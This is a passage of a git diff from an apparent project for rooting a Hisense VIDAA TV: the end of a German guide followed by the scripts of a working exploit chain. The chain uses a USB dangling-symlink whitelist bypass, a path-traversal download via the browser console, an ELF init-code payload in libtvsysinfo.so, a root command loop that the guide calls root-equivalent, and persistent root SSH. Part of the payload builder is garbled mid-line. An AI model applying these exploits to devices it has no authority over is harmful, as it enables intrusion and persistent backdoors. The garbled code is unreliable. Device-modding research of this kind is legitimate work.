`root/scripts/host/install_sftp.sh` ausführen; prüfen: `grep -a 'sftp-server' /3rd_rw/sshd/dropbear` → `/3rd_rw/sshd/sftp-server`. | +| SFTP auf 2222 scheitert | `/3rd_rw/sshd/dropbear2222.log` prüfen; Port 22 wurde nicht angefasst. | +| SFTP auf 22 scheitert | `/3rd_rw/sshd/swap.log`, `/3rd_rw/sshd/dropbear.log`; Rollback-Befehl in 9.4. | + +Dead Ends und verworfene Wege: `../dead-ends.md` (kurz). + +--- + +## 13. Artefakte und Hashes + +| Artefakt | Pfad | Größe / SHA-256 | +|---|---|---| +| Original `libtvsysinfo.so` | `artifacts/tvi_original.so` | 33.220 B / `36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c` | +| Root-Payload | `tools/pub/libtvsysinfo.so` | 33.500 B / `37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a` | +| Dropbear | `tools/pub/dropbear` | 882.204 B / `976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae` | +| Dropbearkey | `tools/pub/dropbearkey` | 755.452 B / `3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf` | +| Dropbear-Quelle | `sources/dropbear-2022.83.tar.bz2` | `bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b` | +| SFTP-Server | `tools/pub/sftp-server` | 635.680 B / `d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3` | +| Dropbear (SFTP) | `tools/pub/dropbear-sftp` | 882.204 B / `a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57` | +| OpenSSH-Quelle | `sources/openssh-9.9p1.tar.gz` | `b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02` | +| Host-Key (SSH) | TV: `/3rd_rw/sshd/host_key` | Ed25519 / `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts` | +| Dein Auth-Key | `tools/pub/authorized_keys` | Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY` | +| Root-Proof | TV: `/3rd_rw/root_proof.txt` | `ROOT_EXEC_TVI\n` | +| Root-Loop | TV: `/3rd_rw/appdata/root_loop.sh` | PID: `/3rd_rw/appdata/root_loop.pid` | + +`SHA256SUMS` im Top-Level: `cd /workspace/hisense-he40e5600-root-modding && sha256sum -c SHA256SUMS`. + +--- + +## 14. Sicherheit / Grenzen + +- **SSH ist key-only, root, im LAN.** Kein Passwort-Login; der private Key ist der einzige Zugang. Nicht ins Internet exponieren. +- **SFTP ist optional und root-equivalent.** Key-only wie SSH; der sftp-server läuft als root. Installation testet zuerst Port 2222; Backup `/3rd_rw/sshd/dropbear.nosftp`; Rollback in 9.4. +- **Der Root-Loop ist root-equivalent.** Wer `/3rd_rw/appdata/root_cmd.sh` schreiben kann (der Browser läuft als root), kann Root-Befehle ausführen. Gewollt, aber entsprechend behandeln. +- **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs und `/3rd` sind squashfs-ro; Änderungen liegen in `/3rd_rw` (rw), `/data` (rw), `/perm` (rw) und in Bind-Mounts. +- **`/etc/passwd`-Bind** ändert nur die Laufzeit-Sicht (Root-Home/Shell); die ro Originaldatei bleibt unverändert. Ein Reboot ohne Startskript stellt den Originalzustand her. +- **Persistenz** kommt vom `HamService`-Wrapper (und ggf. `developer.sh`). Der `libtvsysinfo`-Shadow löscht sich selbst. +- **Firmware-Updates** können Pfade/Verhalten ändern; danach Loader-Reihenfolge, HamService-Hook und `/3rd_rw` prüfen. +- **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key. Nur Public Key + Host-Fingerprint. + +--- + +## 15. Verifikationsstatus + +| Punkt | Status | +|---|---| +| Browser root (UID 0, CapEff full) | **CONFIRMED live** | +| USB-ext4-Symlink-Bypass | **CONFIRMED live** (`/3rd_rw/root_proof.txt`) | +| `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) | +| Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) | +| Dropbear-SSH, Port 22 | **CONFIRMED live** (`00000000:0016`) | +| SSH-Pubkey-Auth als root | **CONFIRMED live** (`Pubkey auth succeeded for 'root'`) | +| PTY / interaktive Shell | **CONFIRMED live** (Session pts/0; `busybox script` → `uid=0(root)`) | +| SFTP (optional) | static sftp-server + patched Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** | +| Boot-Persistenz (HamService-Wrapper) | eingerichtet; Reboot-Test in dieser Doku beschrieben | +| Payload-Build reproduzierbar | **CONFIRMED** (`build_tvi_payload.py` → exakt `37b13f…`) | + +**Scripts:** `tools/pub/*` ist der ausgelieferte Stand; `scripts/tv/*` die Quelle. `deploy_sshd.sh` entspricht dem manuell live ausgeführten Setup. `prepare_usb.sh`/`start_http.sh`/`plant_payload.js`/`upload_to_appdata.js`/`run_root_cmd.js` sind die Host-/TV-Helfer. `build_dropbear.sh` baut die in `tools/pub` liegenden Binaries reproduzierbar aus `sources/`; `build_sftp_server.sh` baut den statischen sftp-server; `install_sftp.sh` installiert/testet SFTP. + +Viel Erfolg. Und: erst backupen, dann modden. :) diff --git a/root/artifacts/keys/authorized_keys b/root/artifacts/keys/authorized_keys new file mode 100644 index 0000000..5a3765f --- /dev/null +++ b/root/artifacts/keys/authorized_keys @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root diff --git a/root/artifacts/keys/host-key-fingerprint.txt b/root/artifacts/keys/host-key-fingerprint.txt new file mode 100644 index 0000000..0ad6e37 --- /dev/null +++ b/root/artifacts/keys/host-key-fingerprint.txt @@ -0,0 +1 @@ +SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts diff --git a/root/artifacts/tvi_original.so b/root/artifacts/tvi_original.so new file mode 100644 index 0000000..f165a2c Binary files /dev/null and b/root/artifacts/tvi_original.so differ diff --git a/root/scripts/host/build_dropbear.sh b/root/scripts/host/build_dropbear.sh new file mode 100755 index 0000000..dd39e0b --- /dev/null +++ b/root/scripts/host/build_dropbear.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash +# Rebuilds the static ARM Dropbear 2022.83 (key-only) from the included source. +# Only needed if you do not want to use the prebuilt binaries in tools/pub/. +set -euo pipefail +HERE="$(cd "$(dirname "$0")" && pwd)" +ROOT="$(cd "$HERE/../.." && pwd)" +TOP="$(cd "$ROOT/.." && pwd)" +SRC="$TOP/sources/dropbear-2022.83.tar.bz2" +BUILD="$TOP/build/dropbear" +TAR_SHA="bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b" + +[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; } +echo "$TAR_SHA $SRC" | sha256sum -c - +command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; } + +rm -rf "$BUILD"; mkdir -p "$BUILD" +tar xjf "$SRC" -C "$BUILD" +cd "$BUILD/dropbear-2022.83" + +./configure --host=arm-linux-gnueabihf \ + --disable-zlib --disable-pam --disable-shadow \ + --disable-lastlog --disable-utmp --disable-wtmp \ + --disable-utmpx --disable-wtmpx \ + --disable-pututline --disable-pututxline \ + CC=arm-linux-gnueabihf-gcc \ + CFLAGS="-Os -static" LDFLAGS="-static" + +# Key-only root SSH; no password auth, no client. +cat >> localoptions.h <<'EOF' + +#define DROPBEAR_SVR_PASSWORD_AUTH 0 +#define DROPBEAR_SVR_PUBKEY_AUTH 1 +#define DROPBEAR_CLIENT 0 +EOF + +make -j"$(nproc)" PROGRAMS="dropbear dropbearkey" + +cp -f dropbear "$ROOT/tools/pub/dropbear" +cp -f dropbearkey "$ROOT/tools/pub/dropbearkey" +chmod 755 "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbearkey" + +# Optional SFTP: Dropbear has no sftp-server; patch SFTPSERVER_PATH to the +# writable /3rd_rw/sshd path. The static sftp-server comes from +# build_sftp_server.sh. +python3 "$HERE/patch_dropbear_sftp.py" + +echo "---" +file "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey" +readelf -d "$ROOT/tools/pub/dropbear" 2>&1 | head -5 || true +sha256sum "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey" diff --git a/root/scripts/host/build_payload.sh b/root/scripts/host/build_payload.sh new file mode 100755 index 0000000..3fc3a17 --- /dev/null +++ b/root/scripts/host/build_payload.sh @@ -0,0 +1,15 @@ +#!/usr/bin/env bash +# Builds the final libtvsysinfo payload from the included original. +# Requires: python3, arm-linux-gnueabihf-{as,ld,objcopy}. +set -euo pipefail +HERE="$(cd "$(dirname "$0")" && pwd)" +ROOT="$(cd "$HERE/../.." && pwd)" + +for t in arm-linux-gnueabihf-as arm-linux-gnueabihf-ld arm-linux-gnueabihf-objcopy python3; do + command -v "$t" >/dev/null || { echo "missing: $t"; exit 1; } +done + +python3 "$HERE/build_tvi_payload.py" +echo "---" +sha256sum "$ROOT/tools/pub/libtvsysinfo.so" +echo "expected: 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a" diff --git a/root/scripts/host/build_sftp_server.sh b/root/scripts/host/build_sftp_server.sh new file mode 100755 index 0000000..d86a7f3 --- /dev/null +++ b/root/scripts/host/build_sftp_server.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +# build_sftp_server.sh — rebuild the static ARM OpenSSH sftp-server. +# +# Source: https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/ +# openssh-9.9p1.tar.gz +# The TV has glibc 2.18 and no package manager; a static build is used. +# Only sftp-server is built (no ssh/sshd, no OpenSSL/zlib/PAM needed). +set -euo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +ROOT="$(cd "$HERE/../.." && pwd)" +TOP="$(cd "$ROOT/.." && pwd)" +SRC="$TOP/sources/openssh-9.9p1.tar.gz" +BUILD="$TOP/build/openssh" +TAR_SHA="b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02" + +[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; } +echo "$TAR_SHA $SRC" | sha256sum -c - +command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; } + +rm -rf "$BUILD"; mkdir -p "$BUILD" +tar xzf "$SRC" -C "$BUILD" +cd "$BUILD/openssh-9.9p1" + +./configure --host=arm-linux-gnueabihf \ + --without-openssl --without-zlib --without-pam \ + --disable-etc-default-login --disable-lastlog --disable-utmp --disable-wtmp \ + --disable-utmpx --disable-wtmpx --without-selinux --without-audit \ + CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -fno-pie" LDFLAGS="-static -no-pie" + +make -j"$(nproc)" sftp-server +arm-linux-gnueabihf-strip sftp-server +cp -f sftp-server "$ROOT/tools/pub/sftp-server" +chmod 755 "$ROOT/tools/pub/sftp-server" + +echo "---" +file "$ROOT/tools/pub/sftp-server" +readelf -d "$ROOT/tools/pub/sftp-server" 2>&1 | head -5 || true +sha256sum "$ROOT/tools/pub/sftp-server" + +if command -v qemu-arm >/dev/null; then + echo "--- qemu smoke ---" + timeout 3 qemu-arm "$ROOT/tools/pub/sftp-server" -h 2>&1 | head -5 || true +fi diff --git a/root/scripts/host/build_tvi_payload.py b/root/scripts/host/build_tvi_payload.py new file mode 100755 index 0000000..777fcd6 --- /dev/null +++ b/root/scripts/host/build_tvi_payload.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +import struct, subprocess, os, sys, tempfile + +HERE = os.path.dirname(os.path.abspath(__file__)) + +def parse_elf(d): + e_phoff = struct.unpack_from('0x%x, INIT 0x%x, RX page end 0x%x' % ( + name, len(code), cave, orig, oldsize, newsize, o2, (newsize+0xfff)&~0xfff)) + +if __name__ == '__main__': + here = os.path.dirname(os.path.abspath(__file__)) + root = os.path.abspath(os.path.join(here, '..', '..')) + src = os.path.join(root, 'artifacts', 'tvi_original.so') + out = os.path.join(root, 'tools', 'pub', 'libtvsysinfo.so') + build('tvi', src, out, + '/3rd_rw/loglevel/lib/libtvsysinfo.so', + '/3rd_rw/root_proof.txt', + 'ROOT_EXEC_TVI\n') + import hashlib + h = hashlib.sha256(open(out, 'rb').read()).hexdigest() + print('sha256', h) + print('expected 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a') diff --git a/root/scripts/host/install_sftp.sh b/root/scripts/host/install_sftp.sh new file mode 100755 index 0000000..16c25b6 --- /dev/null +++ b/root/scripts/host/install_sftp.sh @@ -0,0 +1,85 @@ +#!/usr/bin/env bash +# install_sftp.sh — one-command, key-only SFTP for the TV. +# +# Uploads use only `ssh` + stdin; an `sftp` client is needed only for the test: +# 1. uploads the static OpenSSH sftp-server and the patched Dropbear +# 2. starts a test Dropbear on port 2222 (port 22 untouched) +# 3. tests a real SFTP session on 2222 +# 4. only on success swaps the binary on port 22 +# 5. tests SFTP on 22 +# +# Usage: +# cd /workspace/hisense-he40e5600-root-modding +# root/scripts/host/install_sftp.sh +# TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 root/scripts/host/install_sftp.sh +# +# The TV login is key-only. The private key is never copied anywhere. +set -euo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +ROOT="$(cd "$HERE/../.." && pwd)" +TV="${TV:-root@192.168.188.94}" +SSH_KEY="${SSH_KEY:-}" + +command -v ssh >/dev/null || { echo "missing ssh client"; exit 1; } +command -v sftp >/dev/null || { echo "missing sftp client (OpenSSH)"; exit 1; } + +SSH_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new) +SFTP_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new) +if [ -n "$SSH_KEY" ]; then + SSH_OPTS+=(-i "$SSH_KEY") + SFTP_OPTS+=(-i "$SSH_KEY") +fi +SSH=(ssh "${SSH_OPTS[@]}" "$TV") + +for f in \ + "$ROOT/tools/pub/sftp-server" \ + "$ROOT/tools/pub/dropbear-sftp" \ + "$ROOT/scripts/tv/install_sftp_stage.sh" \ + "$ROOT/scripts/tv/enable_sftp.sh" \ + "$ROOT/scripts/tv/swap_sftp.sh"; do + [ -f "$f" ] || { echo "missing: $f"; exit 1; } +done + +echo "=== TV: $TV ===" +"${SSH[@]}" 'PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin; export PATH; /bin/cat /proc/self/status | /bin/grep -E "^(Uid|Gid|CapEff):"' + +echo "=== upload ===" +"${SSH[@]}" '/bin/mkdir -p /3rd_rw/appdata /3rd_rw/sshd' +"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/sftp-server' < "$ROOT/tools/pub/sftp-server" +"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/dropbear-sftp' < "$ROOT/tools/pub/dropbear-sftp" +"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/install_sftp_stage.sh' < "$ROOT/scripts/tv/install_sftp_stage.sh" +"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/enable_sftp.sh' < "$ROOT/scripts/tv/enable_sftp.sh" +"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/swap_sftp.sh' < "$ROOT/scripts/tv/swap_sftp.sh" +"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/deploy_sshd.sh' < "$ROOT/scripts/tv/deploy_sshd.sh" +"${SSH[@]}" '/bin/chmod 755 /3rd_rw/appdata/sftp-server /3rd_rw/appdata/dropbear-sftp \ + /3rd_rw/appdata/install_sftp_stage.sh /3rd_rw/appdata/enable_sftp.sh /3rd_rw/appdata/swap_sftp.sh \ + /3rd_rw/appdata/deploy_sshd.sh' + +echo "=== stage + test on 2222 ===" +"${SSH[@]}" '/bin/sh /3rd_rw/appdata/install_sftp_stage.sh' + +if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -P 2222 -b - "$TV"; then + echo "SFTP on 2222 OK" +else + echo "SFTP on 2222 FAILED; port 22 was not touched." + "${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/dropbear2222.log 2>&1 || true' || true + exit 1 +fi + +echo "=== swap to port 22 ===" +"${SSH[@]}" '/bin/sh /3rd_rw/appdata/enable_sftp.sh' || true +sleep 8 + +echo "=== test on 22 ===" +if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -b - "$TV"; then + echo "DONE: sftp $TV" + echo "Rollback:" + echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'" +else + echo "SFTP on 22 FAILED" + "${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/swap.log; /bin/busybox tail -n 40 /3rd_rw/sshd/dropbear.log' 2>&1 || true + echo "Restore the known-good non-SFTP Dropbear (if port 22 is up):" + echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'" + exit 1 +fi diff --git a/root/scripts/host/patch_dropbear_sftp.py b/root/scripts/host/patch_dropbear_sftp.py new file mode 100755 index 0000000..f54f766 --- /dev/null +++ b/root/scripts/host/patch_dropbear_sftp.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +"""Create a Dropbear copy whose SFTP subsystem points at /3rd_rw/sshd/sftp-server. + +Dropbear does not ship an sftp-server; it execs the compile-time +SFTPSERVER_PATH (default /usr/libexec/sftp-server). The target rootfs is +read-only, so this copy uses the writable /3rd_rw/sshd path instead. +The replacement has exactly the same length, so no ELF offsets change. +""" +import hashlib +import pathlib +import sys + +ROOT = pathlib.Path(__file__).resolve().parents[2] # .../root +SRC = ROOT / "tools" / "pub" / "dropbear" +DST = ROOT / "tools" / "pub" / "dropbear-sftp" +OLD = b"/usr/libexec/sftp-server" +NEW = b"/3rd_rw/sshd/sftp-server" + +def main() -> int: + data = SRC.read_bytes() + if len(OLD) != len(NEW): + sys.exit(f"length mismatch: {len(OLD)} != {len(NEW)}") + n = data.count(OLD) + if n != 1: + sys.exit(f"expected exactly 1 occurrence of {OLD!r}, found {n}") + DST.write_bytes(data.replace(OLD, NEW)) + DST.chmod(0o755) + h = hashlib.sha256(DST.read_bytes()).hexdigest() + print(f"wrote {DST}") + print(f"sha256 {h}") + print(f"size {DST.stat().st_size}") + return 0 + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/root/scripts/host/plant_payload.js b/root/scripts/host/plant_payload.js new file mode 100644 index 0000000..e7a3a96 --- /dev/null +++ b/root/scripts/host/plant_payload.js @@ -0,0 +1,22 @@ +// plant_payload.js — paste into the TV recon page console. +// Prerequisite: the ext4 stick is mounted; /mnt/usb//tvi is a dangling +// symlink to /3rd_rw/loglevel/lib/libtvsysinfo.so. +// +// 1) listDir("/mnt/usb") -> e.g. "sda1" +// 2) set usb below +// 3) run; expect download=0 and back=0 +// 4) reboot the TV +(function(){ + var usb = "/mnt/usb/sda1"; // <-- adjust from listDir("/mnt/usb") + var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi"; + var url = location.origin + "/pub/libtvsysinfo.so"; + var o = {}; + o.usb = usb; + o.target = target; + o.download = HiBrowser.File.download(url, target, 1); + o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so", + "tvi_check_plant.so", 1); + o.size = "expected 33500 bytes"; + fetch("/recon", {method:"POST", body:"PLANT "+JSON.stringify(o)}); + return o; +})(); diff --git a/root/scripts/host/prepare_usb.sh b/root/scripts/host/prepare_usb.sh new file mode 100755 index 0000000..dc47adb --- /dev/null +++ b/root/scripts/host/prepare_usb.sh @@ -0,0 +1,49 @@ +#!/usr/bin/env bash +# Prepares the ext4 USB stick for the dangling-symlink whitelist bypass. +# DESTRUCTIVE: wipes the given block device. +# +# Usage: sudo ./prepare_usb.sh /dev/sdX +# The TV mounts partitions, not whole-disk superfloppies -> MBR + ext4. +set -euo pipefail + +DEV="${1:-}" +if [ -z "$DEV" ] || [ ! -b "$DEV" ]; then + echo "usage: $0 /dev/sdX (block device, e.g. /dev/sdb)" + exit 1 +fi + +case "$DEV" in + *mmcblk*|*nvme*) PART="${DEV}p1" ;; + *) PART="${DEV}1" ;; +esac + +echo "!!! This will DESTROY $DEV and create MBR + ext4 on $PART." +lsblk -o NAME,SIZE,MODEL,LABEL "$DEV" || true +read -r -p "Type YES to continue: " confirm +[ "$confirm" = "YES" ] || { echo "aborted"; exit 1; } + +sudo wipefs -a "$DEV" +sudo parted -s "$DEV" mklabel msdos mkpart primary ext4 1MiB 100% +sudo mkfs.ext4 -F -O ^64bit,^metadata_csum -L TVSYM "$PART" + +sudo mkdir -p /mnt/tvsym +sudo mount "$PART" /mnt/tvsym +sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/tvsym/tvi +sudo ln -sfn /3rd_rw/root_proof.txt /mnt/tvsym/pwn +ls -l /mnt/tvsym +sudo sync +sudo umount /mnt/tvsym + +cat < /3rd_rw/loglevel/lib/libtvsysinfo.so (required; must stay dangling) + pwn -> /3rd_rw/root_proof.txt (optional proof target) + +Next: + 1. Insert the stick into the TV. + 2. On the TV open http://:9000/recon.html + 3. In the page console run root/scripts/host/plant_payload.js + (adjust the USB device, e.g. sda1, from listDir("/mnt/usb")). + 4. Reboot the TV. +EOF diff --git a/root/scripts/host/run_root_cmd.js b/root/scripts/host/run_root_cmd.js new file mode 100644 index 0000000..d349b41 --- /dev/null +++ b/root/scripts/host/run_root_cmd.js @@ -0,0 +1,21 @@ +// run_root_cmd.js — paste into the TV recon page console. +// The root_loop.sh (started by the payload / HamService wrapper) executes +// /3rd_rw/appdata/root_cmd.sh and writes /3rd_rw/appdata/root_out.txt. +// +// Change CMD as needed. Examples: +// "/bin/sh /3rd_rw/appdata/deploy_sshd.sh" +// "id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'" +// "/bin/sh /3rd_rw/appdata/verify.sh" +// "/bin/sh /3rd_rw/appdata/rollback.sh" +(function(cmd){ + var o = {}; + o.write = HiBrowser.File.write("root_cmd.sh", cmd + "\n", 1); + o.cmd = cmd; + setTimeout(function(){ + var out = fileXHR("file:///3rd_rw/appdata/root_out.txt"); + o.out = out; + console.log(out); + fetch("/recon", {method:"POST", body:"ROOTOUT "+JSON.stringify(o)}); + }, 5000); + return o; +})("/bin/sh /3rd_rw/appdata/deploy_sshd.sh"); diff --git a/root/scripts/host/start_http.sh b/root/scripts/host/start_http.sh new file mode 100755 index 0000000..d5c83c3 --- /dev/null +++ b/root/scripts/host/start_http.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env bash +# Serves root/tools/recon.html + root/tools/pub/* on port 9000 (or $1). +set -euo pipefail +HERE="$(cd "$(dirname "$0")" && pwd)" +cd "$HERE/../tools" +PORT="${1:-9000}" +IP="$(hostname -I 2>/dev/null | awk '{print $1}')" +[ -n "$IP" ] || IP="" +echo "TV URL: http://$IP:$PORT/recon.html" +echo "Pub dir: $(pwd)/pub" +echo "Captures:$(pwd)/captures" +exec python3 server.py "$PORT" diff --git a/root/scripts/host/upload_to_appdata.js b/root/scripts/host/upload_to_appdata.js new file mode 100644 index 0000000..3916981 --- /dev/null +++ b/root/scripts/host/upload_to_appdata.js @@ -0,0 +1,25 @@ +// upload_to_appdata.js — paste into the TV recon page console (after root). +// Downloads the SSH/Dropbear deploy files from the host server into +// /3rd_rw/appdata so deploy_sshd.sh can install them. +(function(){ + var files = [ + "dropbear", + "dropbear-sftp", + "dropbearkey", + "sftp-server", + "authorized_keys", + "start_sshd.sh", + "root_loop.sh", + "hamservice-wrapper.sh", + "deploy_sshd.sh", + "verify.sh", + "rollback.sh" + ]; + var o = {}; + for (var i = 0; i < files.length; i++) { + o[files[i]] = HiBrowser.File.download(location.origin + "/pub/" + files[i], + files[i], 1); + } + fetch("/recon", {method:"POST", body:"UPLOAD "+JSON.stringify(o)}); + return o; +})(); diff --git a/root/scripts/tv/deploy_sshd.sh b/root/scripts/tv/deploy_sshd.sh new file mode 100755 index 0000000..6cbabec --- /dev/null +++ b/root/scripts/tv/deploy_sshd.sh @@ -0,0 +1,97 @@ +#!/bin/sh +# deploy_sshd.sh — run as root on the TV (e.g. via the root loop). +# +# Expects in /3rd_rw/appdata: +# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh +# hamservice-wrapper.sh +# Upload these with root/scripts/host/upload_to_appdata.js (or File.download). +# +# Installs: +# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys} +# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink) +# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd +# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround) +# Dropbear on 0.0.0.0:22, key-only root login +# +# Reversible with rollback.sh or the ROOT-GUIDE. +set -e +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH + +APP=/3rd_rw/appdata +D=/3rd_rw/sshd + +echo "=== deploy_sshd: start ===" +for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do + [ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; } +done + +mkdir -p "$D/home/.ssh" /3rd_rw/hamservice + +# --- binaries + host key ------------------------------------------------- +cp -f "$APP/dropbear" "$D/dropbear" +if [ -f "$APP/dropbear-sftp" ]; then + cp -f "$APP/dropbear-sftp" "$D/dropbear" + echo "using SFTP-capable dropbear" +fi +chmod 755 "$D/dropbear" +cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey" +if [ -f "$APP/sftp-server" ]; then + cp -f "$APP/sftp-server" "$D/sftp-server" + chmod 755 "$D/sftp-server" + echo "sftp-server installed" +fi +if [ ! -f "$D/host_key" ]; then + "$D/dropbearkey" -t ed25519 -f "$D/host_key" +fi + +# --- root home via bind-mounted passwd ----------------------------------- +cp -f /etc/passwd "$D/etc_passwd" +sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd" +if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then + mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \ + || mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" +fi + +# --- PTY: devpts on tmpfs, bind over /dev/pts ----------------------------- +mkdir -p /dev/shm/pts +if ! grep -q ' /dev/shm/pts ' /proc/mounts; then + mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \ + || mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log" +fi +if ! grep -q ' /dev/pts ' /proc/mounts; then + mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log" +fi + +# --- authorized key / permissions ---------------------------------------- +cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys" +chmod 700 "$D/home" "$D/home/.ssh" +chmod 600 "$D/home/.ssh/authorized_keys" +chown -R 0:0 "$D" + +# --- start script + root loop + boot wrapper ----------------------------- +cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh" +chmod 644 "$APP/root_loop.sh" +rm -f /3rd_rw/hamservice/HamService +cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService +chmod 755 /3rd_rw/hamservice/HamService + +# --- start now (idempotent) ---------------------------------------------- +/bin/sh "$D/start_sshd.sh" +sleep 2 + +echo "--- passwd root entry ---" +grep '^root:' /etc/passwd +echo "--- mounts ---" +grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts +echo "--- processes ---" +ps | grep -E 'dropbear|root_loop' | grep -v grep || true +echo "--- tcp 22 ---" +cat /proc/net/tcp | grep -i ':0016' || true +echo "--- dropbear log ---" +/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true +echo "--- host key ---" +"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true +echo "--- files ---" +ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice +echo "=== deploy_sshd: done ===" diff --git a/root/scripts/tv/enable_sftp.sh b/root/scripts/tv/enable_sftp.sh new file mode 100755 index 0000000..9cf3f9e --- /dev/null +++ b/root/scripts/tv/enable_sftp.sh @@ -0,0 +1,37 @@ +#!/bin/sh +# enable_sftp.sh — after a successful `sftp -P 2222` test, swap the +# SFTP-capable Dropbear onto port 22. +# +# Backs up the current binary as /3rd_rw/sshd/dropbear.nosftp, schedules +# swap_sftp.sh detached (the caller's SSH session will drop), and returns. +set -e +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin +export PATH +APP=/3rd_rw/appdata +D=/3rd_rw/sshd + +[ -f "$D/sftp-server" ] || { echo "missing $D/sftp-server"; exit 1; } +[ -f "$D/dropbear-sftp" ] || { echo "missing $D/dropbear-sftp"; exit 1; } +[ -f "$APP/swap_sftp.sh" ] || { echo "missing $APP/swap_sftp.sh"; 